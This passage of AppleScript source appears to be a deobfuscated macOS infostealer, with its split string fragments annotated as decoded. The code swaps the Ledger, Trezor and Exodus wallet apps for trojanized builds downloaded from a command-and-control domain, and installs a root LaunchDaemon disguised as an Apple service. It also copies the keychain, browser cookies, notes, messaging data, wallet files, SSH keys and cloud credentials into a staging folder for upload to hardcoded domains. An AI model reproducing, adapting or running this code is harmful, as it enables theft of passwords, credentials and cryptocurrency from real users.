			do shell script (hwyksoup159 & hwyksoup160 & hwyksoup161 & hwyksoup162) & curlHeaders & (hwyksoup163 & hwyksoup164 & hwyksoup165 & hwyksoup166) & fallbackUrl & hwyksoup167
			return
		end try
		delay 15
	end repeat
end uploadSmallFile

on trojanizeLedger(outputDir, appPassword, c2Domain)
	try
		set hwyksoup168 to "/Applicati" -- DECODED
		set hwyksoup169 to "ons/Ledger" -- DECODED
		set hwyksoup170 to " Wallet.app" -- DECODED
		set appInstallPath to (hwyksoup168 & hwyksoup169 & hwyksoup170)
		list folder POSIX file appInstallPath
		set hwyksoup171 to "/.logged" -- DECODED
		set filePath to outputDir & hwyksoup171
		set hwyksoup172 to "rm -f " -- DECODED
		do shell script hwyksoup172 & quoted form of filePath
		
		set hwyksoup173 to "user10" -- DECODED
		set hwyksoup174 to "/.logged" -- DECODED
		writeToFile(hwyksoup173, outputDir & hwyksoup174)
		set hwyksoup175 to "curl https://" -- DECODED
		set hwyksoup176 to "/zxc/app." -- DECODED
		set hwyksoup177 to "zip -o /t" -- DECODED
		set hwyksoup178 to "mp/app.zip" -- DECODED
		do shell script hwyksoup175 & c2Domain & (hwyksoup176 & hwyksoup177 & hwyksoup178)
		try
			set hwyksoup179 to "pkill" -- DECODED
			set hwyksoup180 to " \"Led" -- DECODED
			set hwyksoup181 to "ger W" -- DECODED
			set hwyksoup182 to "allet\"" -- DECODED
			do shell script (hwyksoup179 & hwyksoup180 & hwyksoup181 & hwyksoup182)
		end try
		set hwyksoup183 to "echo " -- DECODED
		set hwyksoup184 to " | sudo -S rm -r " -- DECODED
		do shell script hwyksoup183 & quoted form of appPassword & hwyksoup184 & quoted form of appInstallPath
		delay 1
		set hwyksoup185 to "ditto -x -k " -- DECODED
		set hwyksoup186 to "/tmp/app.zip" -- DECODED
		set hwyksoup187 to " /Applicatio" -- DECODED
		set hwyksoup188 to "ns" -- DECODED
		do shell script (hwyksoup185 & hwyksoup186 & hwyksoup187 & hwyksoup188)
		delay 1
		set hwyksoup189 to "chmod -R +x " -- DECODED
		do shell script hwyksoup189 & quoted form of appInstallPath
    		delay 1
		set hwyksoup190 to "rm /tmp/app.zip" -- DECODED
		do shell script hwyksoup190
		
	end try
end trojanizeLedger

on trojanizeTrezor(outputDir, appPassword, c2Domain)
	try
		set hwyksoup191 to "/Applicati" -- DECODED
		set hwyksoup192 to "ons/Trezor" -- DECODED
		set hwyksoup193 to " Suite.app" -- DECODED
		set appInstallPath to (hwyksoup191 & hwyksoup192 & hwyksoup193)
		list folder POSIX file appInstallPath
		set hwyksoup194 to "/.logged" -- DECODED
		set filePath to outputDir & hwyksoup194
		set hwyksoup195 to "rm -f " -- DECODED
		do shell script hwyksoup195 & quoted form of filePath
		
		set hwyksoup196 to "user10" -- DECODED
		set hwyksoup197 to "/.logged" -- DECODED
		writeToFile(hwyksoup196, outputDir & hwyksoup197)
		set hwyksoup198 to "curl https://" -- DECODED
		set hwyksoup199 to "/zxc/apptwo.zip -" -- DECODED
		set hwyksoup200 to "o /tmp/apptwo.zip" -- DECODED
		do shell script hwyksoup198 & c2Domain & (hwyksoup199 & hwyksoup200)
		try
			set hwyksoup201 to "pkill \"Trezor Suite\"" -- DECODED
			do shell script hwyksoup201
		end try
		set hwyksoup202 to "echo " -- DECODED
		set hwyksoup203 to " | sudo -S rm -r " -- DECODED
		do shell script hwyksoup202 & quoted form of appPassword & hwyksoup203 & quoted form of appInstallPath
		delay 1
		set hwyksoup204 to "ditto -x -k /tmp/app" -- DECODED
		set hwyksoup205 to "two.zip /Applications" -- DECODED
		do shell script (hwyksoup204 & hwyksoup205)
		delay 1
		set hwyksoup206 to "chmod -R +x " -- DECODED
		do shell script hwyksoup206 & quoted form of appInstallPath
    		delay 1
		set hwyksoup207 to "rm /tmp/apptwo.zip" -- DECODED
		do shell script hwyksoup207
		
	end try
end trojanizeTrezor

on trojanizeExodus(outputDir, appPassword, c2Domain)
	try
		set hwyksoup208 to "/Application" -- DECODED
		set hwyksoup209 to "s/Exodus.app" -- DECODED
		set appInstallPath to (hwyksoup208 & hwyksoup209)
		list folder POSIX file appInstallPath
		set hwyksoup210 to "/.logged" -- DECODED
		set filePath to outputDir & hwyksoup210
		set hwyksoup211 to "rm -f " -- DECODED
		do shell script hwyksoup211 & quoted form of filePath
		
		set hwyksoup212 to "user10" -- DECODED
		set hwyksoup213 to "/.logged" -- DECODED
		writeToFile(hwyksoup212, outputDir & hwyksoup213)
		set hwyksoup214 to "curl https://" -- DECODED
		set hwyksoup215 to "/zxc/app" -- DECODED
		set hwyksoup216 to "ex.zip -" -- DECODED
		set hwyksoup217 to "o /tmp/a" -- DECODED
		set hwyksoup218 to "ppex.zip" -- DECODED
		do shell script hwyksoup214 & c2Domain & (hwyksoup215 & hwyksoup216 & hwyksoup217 & hwyksoup218)
		try
			set hwyksoup219 to "pkill \"Exodus\"" -- DECODED
			do shell script hwyksoup219
		end try
		set hwyksoup220 to "echo " -- DECODED
		set hwyksoup221 to " | sudo -S rm -r " -- DECODED
		do shell script hwyksoup220 & quoted form of appPassword & hwyksoup221 & quoted form of appInstallPath
		delay 1
		set hwyksoup222 to "ditto -x -" -- DECODED
		set hwyksoup223 to "k /tmp/app" -- DECODED
		set hwyksoup224 to "ex.zip /Ap" -- DECODED
		set hwyksoup225 to "plications" -- DECODED
		do shell script (hwyksoup222 & hwyksoup223 & hwyksoup224 & hwyksoup225)
		delay 1
		set hwyksoup226 to "chmod -R +x " -- DECODED
		do shell script hwyksoup226 & quoted form of appInstallPath
    		delay 1
		set hwyksoup227 to "rm /tmp/appex.zip" -- DECODED
		do shell script hwyksoup227
		
	end try
end trojanizeExodus

on installPersistence(rzirjmnmshvz, ozkyftlcqnmz, c2Url)
	try
		set hwyksoup228 to "/Library/App" -- DECODED
		set hwyksoup229 to "lication Sup" -- DECODED
		set hwyksoup230 to "port/.com.ap" -- DECODED
		set hwyksoup231 to "ple.accountsd" -- DECODED
		set botDir to rzirjmnmshvz & (hwyksoup228 & hwyksoup229 & hwyksoup230 & hwyksoup231)
		set hwyksoup232 to "/AccountsHelper" -- DECODED
		set botBinary to botDir & hwyksoup232
		set hwyksoup233 to "/.service" -- DECODED
		set agentScriptPath to botDir & hwyksoup233
		set hwyksoup234 to "com.ap" -- DECODED
		set hwyksoup235 to "ple.ac" -- DECODED
		set hwyksoup236 to "counts" -- DECODED
		set hwyksoup237 to "d.help" -- DECODED
		set hwyksoup238 to "er" -- DECODED
		set launchDaemonLabel to (hwyksoup234 & hwyksoup235 & hwyksoup236 & hwyksoup237 & hwyksoup238)
		set hwyksoup239 to "/Library/La" -- DECODED
		set hwyksoup240 to "unchDaemons/" -- DECODED
		set hwyksoup241 to ".plist" -- DECODED
		set launchDaemonPlist to (hwyksoup239 & hwyksoup240) & launchDaemonLabel & hwyksoup241
		
		set hwyksoup242 to "mkdir -p " -- DECODED
		do shell script hwyksoup242 & quoted form of botDir
		
		set hwyksoup243 to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://ww" -- DECODED
		set hwyksoup244 to "w.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
    <key>Label</key>
    <string>" -- DECODED
		set hwyksoup245 to "</string>
    <key>Program" -- DECODED
		set hwyksoup246 to "Arguments</key>
    <array" -- DECODED
		set hwyksoup247 to ">
        <string>/bin/bas" -- DECODED
		set hwyksoup248 to "h</string>
        <string>" -- DECODED
		set hwyksoup249 to "</string>
    </array>
    <key>RunAt" -- DECODED
		set hwyksoup250 to "Load</key>
    <true/>
    <key>KeepA" -- DECODED
		set hwyksoup251 to "live</key>
    <true/>
</dict>
</plis" -- DECODED
		set hwyksoup252 to "t>" -- DECODED
		set plistContent to (hwyksoup243 & hwyksoup244) & launchDaemonLabel & (hwyksoup245 & hwyksoup246 & hwyksoup247 & hwyksoup248) & agentScriptPath & (hwyksoup249 & hwyksoup250 & hwyksoup251 & hwyksoup252)
		set hwyksoup253 to "curl -o " -- DECODED
		set hwyksoup254 to " https://" -- DECODED
		set hwyksoup255 to "/zxc/kito" -- DECODED
		do shell script hwyksoup253 & quoted form of botBinary & hwyksoup254 & c2Url & hwyksoup255
		set hwyksoup256 to "chmod +x " -- DECODED
		do shell script hwyksoup256 & quoted form of botBinary
		set hwyksoup257 to "while true; do
    osascript <<EOF
set loginContent to do shell script \"stat -f \\"%Su\\" /dev/console\"
if loginContent is " -- DECODED
		set hwyksoup258 to "not equal to \"\" and loginContent is not equal to \"root\"
    do shell script \"sudo -u \" & quoted form of loginContent & \" " -- DECODED
		set hwyksoup259 to "\"
end i" -- DECODED
		set hwyksoup260 to "f
EOF
 " -- DECODED
		set hwyksoup261 to "   slee" -- DECODED
		set hwyksoup262 to "p 1
done" -- DECODED
		set agentScript to (hwyksoup257 & hwyksoup258) & quoted form of botBinary & (hwyksoup259 & hwyksoup260 & hwyksoup261 & hwyksoup262)
		writeToFile(agentScript, agentScriptPath)
		set hwyksoup263 to "/tmp/starter" -- DECODED
		writeToFile(plistContent, hwyksoup263)
		set hwyksoup264 to "chmod +x " -- DECODED
		do shell script hwyksoup264 & quoted form of agentScriptPath
		set hwyksoup265 to "echo " -- DECODED
		set hwyksoup266 to " | sudo -" -- DECODED
		set hwyksoup267 to "S cp /tmp" -- DECODED
		set hwyksoup268 to "/starter " -- DECODED
		do shell script hwyksoup265 & quoted form of ozkyftlcqnmz & (hwyksoup266 & hwyksoup267 & hwyksoup268) & launchDaemonPlist
		set hwyksoup269 to "echo " -- DECODED
		set hwyksoup270 to " | sudo -" -- DECODED
		set hwyksoup271 to "S chown r" -- DECODED
		set hwyksoup272 to "oot:wheel " -- DECODED
		do shell script hwyksoup269 & quoted form of ozkyftlcqnmz & (hwyksoup270 & hwyksoup271 & hwyksoup272) & launchDaemonPlist
		set hwyksoup273 to "echo " -- DECODED
		set hwyksoup274 to " | sudo " -- DECODED
		set hwyksoup275 to "-S launc" -- DECODED
		set hwyksoup276 to "hctl loa" -- DECODED
		set hwyksoup277 to "d " -- DECODED
		do shell script hwyksoup273 & quoted form of ozkyftlcqnmz & (hwyksoup274 & hwyksoup275 & hwyksoup276 & hwyksoup277) & launchDaemonPlist
		
	end try
end installPersistence

on run
	set hwyksoup278 to "true" -- DECODED
	set platformFlag to hwyksoup278
	set hwyksoup279 to "true" -- DECODED
	set osFlag to hwyksoup279
	set hwyksoup280 to "false" -- DECODED
	set buildFlag to hwyksoup280
	set hwyksoup281 to "USER" -- DECODED
	set currentUser to (system attribute hwyksoup281)
	set hwyksoup282 to "/Users/" -- DECODED
	set homeDir to hwyksoup282 & currentUser
	set hwyksoup283 to "s1Hm3Q1X6G/f6c" -- DECODED
	set hwyksoup284 to "72cNHCapbyytW3" -- DECODED
	set hwyksoup285 to "wcp3tbz6dKg8ee" -- DECODED
	set hwyksoup286 to "c=" -- DECODED
	set configData to (hwyksoup283 & hwyksoup284 & hwyksoup285 & hwyksoup286)
	set hwyksoup287 to "1OVqyOU/n3-4zK" -- DECODED
	set hwyksoup288 to "VSjFsNK88S2buJ" -- DECODED
	set hwyksoup289 to "zuW3rNaXRCJ1l4" -- DECODED
	set hwyksoup290 to "Q=" -- DECODED
	set buildId to (hwyksoup287 & hwyksoup288 & hwyksoup289 & hwyksoup290)
	set hwyksoup291 to "https://mpasvw.com" -- DECODED
	set exfilUrl to hwyksoup291
	set clientId to "0"
	set chunkNum to "0"
	set hwyksoup292 to "aforvm.com" -- DECODED
	set c2Url to hwyksoup292

	set hwyksoup293 to "/Library/Applica" -- DECODED
	set hwyksoup294 to "tion Support/.co" -- DECODED
	set hwyksoup295 to "m.apple.accountsd" -- DECODED
	set botSupportDir to homeDir & (hwyksoup293 & hwyksoup294 & hwyksoup295)
	set hwyksoup296 to "mkdir -p " -- DECODED
	do shell script hwyksoup296 & quoted form of botSupportDir
	try
		set hwyksoup297 to "rm -f " -- DECODED
		set hwyksoup298 to "/.cfg" -- DECODED
		do shell script hwyksoup297 & quoted form of (botSupportDir & hwyksoup298)
	end try
	try
		set hwyksoup299 to "rm -f " -- DECODED
		set hwyksoup300 to "/.service" -- DECODED
		do shell script hwyksoup299 & quoted form of (botSupportDir & hwyksoup300)
	end try
	try
		set hwyksoup301 to "rm -f /tmp/starter" -- DECODED
		do shell script hwyksoup301
	end try

	set hwyksoup302 to "/.cfg" -- DECODED
	writeToFile(configData, botSupportDir & hwyksoup302)
	
	set randomId to (random number from 10000 to 100000) as text
	set hwyksoup303 to "/tmp/" -- DECODED
	set tmpStagingDir to hwyksoup303 & randomId & "/"
	
	try
		set hwyksoup304 to "system_profiler SP" -- DECODED
		set hwyksoup305 to "SoftwareDataType S" -- DECODED
		set hwyksoup306 to "PHardwareDataType " -- DECODED
		set hwyksoup307 to "SPDisplaysDataType" -- DECODED
		set systemInfo to (do shell script (hwyksoup304 & hwyksoup305 & hwyksoup306 & hwyksoup307))
		set hwyksoup308 to "info" -- DECODED
		writeToFile(systemInfo, tmpStagingDir & hwyksoup308)
	end try
	
	set hwyksoup309 to "/Library/" -- DECODED
	set appSupportDir to homeDir & hwyksoup309
	set hwyksoup310 to "Application Support/" -- DECODED
	set appDataDir to appSupportDir & hwyksoup310
	
	set hwyksoup311 to "/.auth" -- DECODED
	set storedPassword to readFileContents(botSupportDir & hwyksoup311)
	
	if not validatePassword(currentUser, storedPassword) then
		set storedPassword to promptForPassword(currentUser, tmpStagingDir)
		set hwyksoup312 to "/.auth" -- DECODED
		writeToFile(storedPassword, botSupportDir & hwyksoup312)
	end if
	
	delay 0.01
	set hwyksoup313 to "pwd" -- DECODED
	writeToFile(storedPassword, tmpStagingDir & hwyksoup313)
	
	set hwyksoup314 to "Group Contain" -- DECODED
	set hwyksoup315 to "ers/group.com" -- DECODED
	set hwyksoup316 to ".apple.notes/" -- DECODED
	set hwyksoup317 to "NoteStore.sql" -- DECODED
	set hwyksoup318 to "ite" -- DECODED
	set noteStoreDir to appSupportDir & (hwyksoup314 & hwyksoup315 & hwyksoup316 & hwyksoup317 & hwyksoup318)
	set hwyksoup319 to "FileGra" -- DECODED
	set hwyksoup320 to "bber/No" -- DECODED
	set hwyksoup321 to "teStore" -- DECODED
	set hwyksoup322 to ".sqlite" -- DECODED
	copyFile(noteStoreDir, tmpStagingDir & (hwyksoup319 & hwyksoup320 & hwyksoup321 & hwyksoup322))
	set hwyksoup323 to "-wal" -- DECODED
	set hwyksoup324 to "FileGrabbe" -- DECODED
	set hwyksoup325 to "r/NoteStor" -- DECODED
	set hwyksoup326 to "e.sqlite-w" -- DECODED
	set hwyksoup327 to "al" -- DECODED
	copyFile(noteStoreDir & hwyksoup323, tmpStagingDir & (hwyksoup324 & hwyksoup325 & hwyksoup326 & hwyksoup327))
	set hwyksoup328 to "-shm" -- DECODED
	set hwyksoup329 to "FileGrabber/Note" -- DECODED
	set hwyksoup330 to "Store.sqlite-shm" -- DECODED
	copyFile(noteStoreDir & hwyksoup328, tmpStagingDir & (hwyksoup329 & hwyksoup330))
	
	set hwyksoup331 to "Containers/com.apple.Safari/Data/Li" -- DECODED
	set hwyksoup332 to "brary/Cookies/Cookies.binarycookies" -- DECODED
	set hwyksoup333 to "FileGrabber/Cook" -- DECODED
	set hwyksoup334 to "ies.binarycookies" -- DECODED
	copyFile(appSupportDir & (hwyksoup331 & hwyksoup332), tmpStagingDir & (hwyksoup333 & hwyksoup334))
	set hwyksoup335 to "Cookies" -- DECODED
	set hwyksoup336 to "/Cookie" -- DECODED
	set hwyksoup337 to "s.binar" -- DECODED
	set hwyksoup338 to "ycookies" -- DECODED
	set hwyksoup339 to "FileGrabber/saf1" -- DECODED
	copyFile(appSupportDir & (hwyksoup335 & hwyksoup336 & hwyksoup337 & hwyksoup338), tmpStagingDir & hwyksoup339)
	
	set hwyksoup340 to "true" -- DECODED
	if platformFlag is equal to hwyksoup340 then
		stealSafariKeychainNotes(tmpStagingDir)
	end if
	
	set hwyksoup341 to "OpenVPN Conn" -- DECODED
	set hwyksoup342 to "ect/profiles/" -- DECODED
	set hwyksoup343 to "OpenVPN" -- DECODED
	copyDirectoryRecursive(appSupportDir & (hwyksoup341 & hwyksoup342), tmpStagingDir & hwyksoup343)
	
	try
		set installedApps to ""
		set hwyksoup344 to "/Applications" -- DECODED
		set qvnqwdflcckc to list folder hwyksoup344
		repeat with ncrhtobbqi in qvnqwdflcckc
			set installedApps to installedApps & ncrhtobbqi & return
		end repeat
		set hwyksoup345 to "installedSoft" -- DECODED
		writeToFile(installedApps, tmpStagingDir & hwyksoup345)
	end try
	
	set hwyksoup346 to "true" -- DECODED
	if osFlag is equal to hwyksoup346 then
		try
			set hwyksoup347 to "FileGra" -- DECODED
			set hwyksoup348 to "bber/No" -- DECODED
			set hwyksoup349 to "teStore" -- DECODED
			set hwyksoup350 to ".sqlite" -- DECODED
			if readFileContents(tmpStagingDir & (hwyksoup347 & hwyksoup348 & hwyksoup349 & hwyksoup350)) is equal to "" then
				stealAppleNotes(tmpStagingDir)
			end if
		end try
	end if
	
	stealTelegramData(tmpStagingDir, appDataDir)
	
	set hwyksoup351 to "Chrome" -- DECODED
	set hwyksoup352 to "Google/Chrome/" -- DECODED
	set hwyksoup353 to "Brave" -- DECODED
	set hwyksoup354 to "BraveSo" -- DECODED
	set hwyksoup355 to "ftware/" -- DECODED
	set hwyksoup356 to "Brave-B" -- DECODED
	set hwyksoup357 to "rowser/" -- DECODED
	set hwyksoup358 to "Edge" -- DECODED
	set hwyksoup359 to "Microsoft Edge/" -- DECODED
	set hwyksoup360 to "Vivaldi" -- DECODED
	set hwyksoup361 to "Vivaldi/" -- DECODED
	set hwyksoup362 to "Opera" -- DECODED
	set hwyksoup363 to "com.op" -- DECODED
	set hwyksoup364 to "erasof" -- DECODED
	set hwyksoup365 to "tware." -- DECODED
	set hwyksoup366 to "Opera/" -- DECODED
	set hwyksoup367 to "OperaGX" -- DECODED
	set hwyksoup368 to "com.operasoft" -- DECODED
	set hwyksoup369 to "ware.OperaGX/" -- DECODED
	set hwyksoup370 to "Chrome Beta" -- DECODED
	set hwyksoup371 to "Google/Chrome Beta/" -- DECODED
	set hwyksoup372 to "Chrome Canary" -- DECODED
	set hwyksoup373 to "Google/Chrome Canary" -- DECODED
	set hwyksoup374 to "Chromium" -- DECODED
	set hwyksoup375 to "Chromium/" -- DECODED
	set hwyksoup376 to "Chrome Dev" -- DECODED
	set hwyksoup377 to "Google/Chrome Dev/" -- DECODED
	set hwyksoup378 to "Arc" -- DECODED
	set hwyksoup379 to "Arc/User Data/" -- DECODED
	set hwyksoup380 to "CocCoc" -- DECODED
	set hwyksoup381 to "CocCoc/Browser/" -- DECODED
	set firefoxBrowserList to {{hwyksoup351, appDataDir & hwyksoup352}, {hwyksoup353, appDataDir & (hwyksoup354 & hwyksoup355 & hwyksoup356 & hwyksoup357)}, {hwyksoup358, appDataDir & hwyksoup359}, {hwyksoup360, appDataDir & hwyksoup361}, {hwyksoup362, appDataDir & (hwyksoup363 & hwyksoup364 & hwyksoup365 & hwyksoup366)}, {hwyksoup367, appDataDir & (hwyksoup368 & hwyksoup369)}, {hwyksoup370, appDataDir & hwyksoup371}, {hwyksoup372, appDataDir & hwyksoup373}, {hwyksoup374, appDataDir & hwyksoup375}, {hwyksoup376, appDataDir & hwyksoup377}, {hwyksoup378, appDataDir & hwyksoup379}, {hwyksoup380, appDataDir & hwyksoup381}}
	
	set hwyksoup382 to "Electrum" -- DECODED
	set hwyksoup383 to "/.electrum/wallets/" -- DECODED
	set hwyksoup384 to "Coinomi" -- DECODED
	set hwyksoup385 to "Coinomi/wallets/" -- DECODED
	set hwyksoup386 to "Exodus" -- DECODED
	set hwyksoup387 to "Exodus/" -- DECODED
	set hwyksoup388 to "Atomic" -- DECODED
	set hwyksoup389 to "atomic/Lo" -- DECODED
	set hwyksoup390 to "cal Stora" -- DECODED
	set hwyksoup391 to "ge/leveld" -- DECODED
	set hwyksoup392 to "b/" -- DECODED
	set hwyksoup393 to "Wasabi" -- DECODED
	set hwyksoup394 to "/.walle" -- DECODED
	set hwyksoup395 to "twasabi" -- DECODED
	set hwyksoup396 to "/client" -- DECODED
	set hwyksoup397 to "/Wallet" -- DECODED
	set hwyksoup398 to "s/" -- DECODED
	set hwyksoup399 to "Ledger_Live" -- DECODED
	set hwyksoup400 to "Ledger Live/" -- DECODED
	set hwyksoup401 to "Monero" -- DECODED
	set hwyksoup402 to "/Monero/wallets/" -- DECODED
	set hwyksoup403 to "Bitcoin_Core" -- DECODED
	set hwyksoup404 to "Bitcoin/wallets/" -- DECODED
	set hwyksoup405 to "Litecoin_Core" -- DECODED
	set hwyksoup406 to "Litecoin/wallets/" -- DECODED
	set hwyksoup407 to "Dash_Core" -- DECODED
	set hwyksoup408 to "DashCore/wallets/" -- DECODED
	set hwyksoup409 to "Electrum_LTC" -- DECODED
	set hwyksoup410 to "/.ele" -- DECODED
	set hwyksoup411 to "ctrum" -- DECODED
	set hwyksoup412 to "-ltc/" -- DECODED
	set hwyksoup413 to "walle" -- DECODED
	set hwyksoup414 to "ts/" -- DECODED
	set hwyksoup415 to "Electron_Cash" -- DECODED
	set hwyksoup416 to "/.elec" -- DECODED
	set hwyksoup417 to "tron-c" -- DECODED
	set hwyksoup418 to "ash/wa" -- DECODED
	set hwyksoup419 to "llets/" -- DECODED
	set hwyksoup420 to "Guarda" -- DECODED
	set hwyksoup421 to "Guarda/" -- DECODED
	set hwyksoup422 to "Dogecoin_Core" -- DECODED
	set hwyksoup423 to "Dogecoin/wallets/" -- DECODED
	set hwyksoup424 to "Trezor_Suite" -- DECODED
	set hwyksoup425 to "@trezor" -- DECODED
	set hwyksoup426 to "/suite-" -- DECODED
	set hwyksoup427 to "desktop/" -- DECODED
	set hwyksoup428 to "Sparrow" -- DECODED
	set hwyksoup429 to "/.sparrow/wallets/" -- DECODED
	set chromiumBrowserList to {{hwyksoup382, homeDir & hwyksoup383}, {hwyksoup384, appDataDir & hwyksoup385}, {hwyksoup386, appDataDir & hwyksoup387}, {hwyksoup388, appDataDir & (hwyksoup389 & hwyksoup390 & hwyksoup391 & hwyksoup392)}, {hwyksoup393, homeDir & (hwyksoup394 & hwyksoup395 & hwyksoup396 & hwyksoup397 & hwyksoup398)}, {hwyksoup399, appDataDir & hwyksoup400}, {hwyksoup401, homeDir & hwyksoup402}, {hwyksoup403, appDataDir & hwyksoup404}, {hwyksoup405, appDataDir & hwyksoup406}, {hwyksoup407, appDataDir & hwyksoup408}, {hwyksoup409, homeDir & (hwyksoup410 & hwyksoup411 & hwyksoup412 & hwyksoup413 & hwyksoup414)}, {hwyksoup415, homeDir & (hwyksoup416 & hwyksoup417 & hwyksoup418 & hwyksoup419)}, {hwyksoup420, appDataDir & hwyksoup421}, {hwyksoup422, appDataDir & hwyksoup423}, {hwyksoup424, appDataDir & (hwyksoup425 & hwyksoup426 & hwyksoup427)}, {hwyksoup428, homeDir & hwyksoup429}}
	
	set hwyksoup430 to "Binance/app" -- DECODED
	set hwyksoup431 to "-store.json" -- DECODED
	set hwyksoup432 to "deskwallets" -- DECODED
	set hwyksoup433 to "/Binance/ap" -- DECODED
	set hwyksoup434 to "p-store.json" -- DECODED
	copyFile(appDataDir & (hwyksoup430 & hwyksoup431), tmpStagingDir & (hwyksoup432 & hwyksoup433 & hwyksoup434))
	set hwyksoup435 to "@tonkeeper" -- DECODED
	set hwyksoup436 to "/desktop/c" -- DECODED
	set hwyksoup437 to "onfig.json" -- DECODED
	set hwyksoup438 to "deskwall" -- DECODED
	set hwyksoup439 to "ets/TonK" -- DECODED
	set hwyksoup440 to "eeper/co" -- DECODED
	set hwyksoup441 to "nfig.json" -- DECODED
	copyFile(appDataDir & (hwyksoup435 & hwyksoup436 & hwyksoup437), tmpStagingDir & (hwyksoup438 & hwyksoup439 & hwyksoup440 & hwyksoup441))
	
	set hwyksoup442 to "Keycha" -- DECODED
	set hwyksoup443 to "ins/lo" -- DECODED
	set hwyksoup444 to "gin.ke" -- DECODED
	set hwyksoup445 to "ychain" -- DECODED
	set hwyksoup446 to "-db" -- DECODED
	set hwyksoup447 to "login.keychain-db" -- DECODED
	copyFile(appSupportDir & (hwyksoup442 & hwyksoup443 & hwyksoup444 & hwyksoup445 & hwyksoup446), tmpStagingDir & hwyksoup447)
	
	set hwyksoup448 to "/.ssh/" -- DECODED
	set hwyksoup449 to "FileGrabber/ssh/" -- DECODED
	copyDirectoryRecursive(homeDir & hwyksoup448, tmpStagingDir & hwyksoup449)
	set hwyksoup450 to "/.aws/credentials" -- DECODED
	set hwyksoup451 to "FileGrabb" -- DECODED
	set hwyksoup452 to "er/aws/cr" -- DECODED
	set hwyksoup453 to "edentials" -- DECODED
	copyFile(homeDir & hwyksoup450, tmpStagingDir & (hwyksoup451 & hwyksoup452 & hwyksoup453))
	set hwyksoup454 to "/.aws/config" -- DECODED
	set hwyksoup455 to "FileG" -- DECODED
	set hwyksoup456 to "rabbe" -- DECODED
	set hwyksoup457 to "r/aws" -- DECODED
	set hwyksoup458 to "/conf" -- DECODED
	set hwyksoup459 to "ig" -- DECODED
	copyFile(homeDir & hwyksoup454, tmpStagingDir & (hwyksoup455 & hwyksoup456 & hwyksoup457 & hwyksoup458 & hwyksoup459))
	set hwyksoup460 to "/.config/gcloud/a" -- DECODED
	set hwyksoup461 to "pplication_defaul" -- DECODED
	set hwyksoup462 to "t_credentials.json" -- DECODED
	set hwyksoup463 to "FileGrab" -- DECODED
	set hwyksoup464 to "ber/gclo" -- DECODED
	set hwyksoup465 to "ud/crede" -- DECODED
	set hwyksoup466 to "ntials.j" -- DECODED
	set hwyksoup467 to "son" -- DECODED
	copyFile(homeDir & (hwyksoup460 & hwyksoup461 & hwyksoup462), tmpStagingDir & (hwyksoup463 & hwyksoup464 & hwyksoup465 & hwyksoup466 & hwyksoup467))
	set hwyksoup468 to "/.config/g" -- DECODED
	set hwyksoup469 to "cloud/cred" -- DECODED
	set hwyksoup470 to "entials.db" -- DECODED
	set hwyksoup471 to "FileGrab" -- DECODED
	set hwyksoup472 to "ber/gclo" -- DECODED
	set hwyksoup473 to "ud/crede" -- DECODED
	set hwyksoup474 to "ntials.db" -- DECODED
	copyFile(homeDir & (hwyksoup468 & hwyksoup469 & hwyksoup470), tmpStagingDir & (hwyksoup471 & hwyksoup472 & hwyksoup473 & hwyksoup474))
	set hwyksoup475 to "/.azure/" -- DECODED
	set hwyksoup476 to "FileGrabber/azure/" -- DECODED
	copyDirectoryRecursive(homeDir & hwyksoup475, tmpStagingDir & hwyksoup476)
	set hwyksoup477 to "/.docker/config.json" -- DECODED
	set hwyksoup478 to "FileGrabbe" -- DECODED
	set hwyksoup479 to "r/docker/c" -- DECODED
	set hwyksoup480 to "onfig.json" -- DECODED
	copyFile(homeDir & hwyksoup477, tmpStagingDir & (hwyksoup478 & hwyksoup479 & hwyksoup480))
	set hwyksoup481 to "/.file" -- DECODED
	set hwyksoup482 to "zilla/" -- DECODED
	set hwyksoup483 to "sitema" -- DECODED
	set hwyksoup484 to "nager." -- DECODED
	set hwyksoup485 to "xml" -- DECODED
	set hwyksoup486 to "FileGrabb" -- DECODED
	set hwyksoup487 to "er/filezi" -- DECODED
	set hwyksoup488 to "lla/sitem" -- DECODED
	set hwyksoup489 to "anager.xml" -- DECODED
	copyFile(homeDir & (hwyksoup481 & hwyksoup482 & hwyksoup483 & hwyksoup484 & hwyksoup485), tmpStagingDir & (hwyksoup486 & hwyksoup487 & hwyksoup488 & hwyksoup489))
	set hwyksoup490 to "/.filezil" -- DECODED
	set hwyksoup491 to "la/recent" -- DECODED
	set hwyksoup492 to "servers.x" -- DECODED
	set hwyksoup493 to "ml" -- DECODED
	set hwyksoup494 to "FileGrabber/f" -- DECODED
	set hwyksoup495 to "ilezilla/rece" -- DECODED
	set hwyksoup496 to "ntservers.xml" -- DECODED
	copyFile(homeDir & (hwyksoup490 & hwyksoup491 & hwyksoup492 & hwyksoup493), tmpStagingDir & (hwyksoup494 & hwyksoup495 & hwyksoup496))
	set hwyksoup497 to "discord" -- DECODED
	set hwyksoup498 to "/Local " -- DECODED
	set hwyksoup499 to "Storage" -- DECODED
	set hwyksoup500 to "/leveld" -- DECODED
	set hwyksoup501 to "b/" -- DECODED
	set hwyksoup502 to "FileGrabber/Di" -- DECODED
	set hwyksoup503 to "scord/leveldb/" -- DECODED
	copyDirectoryRecursive(appDataDir & (hwyksoup497 & hwyksoup498 & hwyksoup499 & hwyksoup500 & hwyksoup501), tmpStagingDir & (hwyksoup502 & hwyksoup503))
	set hwyksoup504 to "Containers" -- DECODED
	set hwyksoup505 to "/Stickies/" -- DECODED
	set hwyksoup506 to "Data/Libra" -- DECODED
	set hwyksoup507 to "ry/Stickie" -- DECODED
	set hwyksoup508 to "s/" -- DECODED
	set hwyksoup509 to "FileG" -- DECODED
	set hwyksoup510 to "rabbe" -- DECODED
	set hwyksoup511 to "r/Sti" -- DECODED
	set hwyksoup512 to "ckies/" -- DECODED
	copyDirectoryRecursive(appSupportDir & (hwyksoup504 & hwyksoup505 & hwyksoup506 & hwyksoup507 & hwyksoup508), tmpStagingDir & (hwyksoup509 & hwyksoup510 & hwyksoup511 & hwyksoup512))
	set hwyksoup513 to "/.zsh_history" -- DECODED
	set hwyksoup514 to "FileGrabber" -- DECODED
	set hwyksoup515 to "/zsh_history" -- DECODED
	copyFile(homeDir & hwyksoup513, tmpStagingDir & (hwyksoup514 & hwyksoup515))
	
	set hwyksoup516 to "username" -- DECODED
	writeToFile(currentUser, tmpStagingDir & hwyksoup516)
	
	set hwyksoup517 to "Firefox" -- DECODED
	set hwyksoup518 to "Firefox/Profiles/" -- DECODED
